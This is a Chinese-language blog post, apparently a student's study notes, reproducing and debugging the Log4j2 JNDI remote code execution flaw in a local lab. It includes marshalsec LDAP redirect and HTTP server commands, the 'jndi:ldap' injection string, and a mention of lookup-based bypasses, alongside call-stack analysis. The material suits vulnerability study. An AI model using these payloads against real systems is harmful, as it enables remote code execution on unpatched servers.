VA - Log4j2 RCE
漏洞预警发布的第一天,网上就已经有了poc了,也算是火出圈了,受影响的服务真的是太多了。本打算第二天调试后便写一写记录,结果一直因为各种事拖到今天,读研真是太难了。
复现
从零开始,Steps
从IDEA里新建一个project,选择maven项目,不使用模板,默认创建就好。然后新建需要的测试类,exp的类可以随意放,这里我为了方便就放到同一目录下了,这是最终的目录结构
其中log4j代码:
1 | import org.apache.logging.log4j.LogManager; |
Exploit代码(简单弹个计算器):
1 | import java.io.IOException; |
利用marshalsec进行jndi注入,首先javac编译生成class文件,再启动一个临时http服务
1 | python3 -m http.server 8888 |
然后
1 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/\#Exploit 9999 |
最后执行log4j:main()
这里有一个很奇怪的情况,python启起来的http服务并不会显示marshalsec转发过来的请求
调用栈
入口函数为logIfEnabled,除了error调用之外,还有info、debug、fatal、log、trace、warn
但在测试后发现,以trace为例子,在这里的intLevel会导致返回false,从而直接结束整个代码流程
这里的this.intLevel应该是默认的200,而level.intLevel具体为:
Standard Level | intLevel |
---|---|
OFF | 0 |
FATAL | 100 |
ERROR | 200 |
WARN | 300 |
INFO | 400 |
DEBUG | 500 |
TRACE | 600 |
ALL | Integer.MAX_VALUE |
所以网上说的大部分能触发是有问题的(当然,修订过配置的另说🥺),默认情况下fatal和error可以触发
言归正传,根据调用栈,跟着走一遍大概就能理清楚整个流程
这里主要记录下核心的关键点,一是format函数
主要是看到下断点这里,他对${这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发下面流程中的替换机制(this.config.getStrSubstitutor.replace)
来看详细的函数内初始化情况
可以看到其定义了prefixMatcher为[$, {],suffixMatcher为[}],这里的目的是把${}中间的字符串抠出来,以将varName的值赋为jndi:ldap://127.0.0.1:9999/Exploit,并随后传递给this.resolveVariable(),而这个函数又做了一件什么事呢,看下面
支持的resolver有date、java、marker、ctx、lower、upper、jndi、main、jvmrunargs、sys、env、log4j,其中lower和upper也是后面用来绕过常用的方法,更进一步
可以看到这里是写死了匹配第一个:的,作为prefix,然后会对应去找其实现,我这里是jndi,故后续都是走的JndiLookup类,后续如图,直到调用原生lookup函数
至此结束
总结
这应该算得上是我第一次学习和调试Java 1day,有很多都是边学边查边理解边写,也许还有很多理解有误的地方,等以后精进了之后再回来读和反思,这也是记录的目的之一。只希望自己能够坚持下来,一定能有收获!加油🤩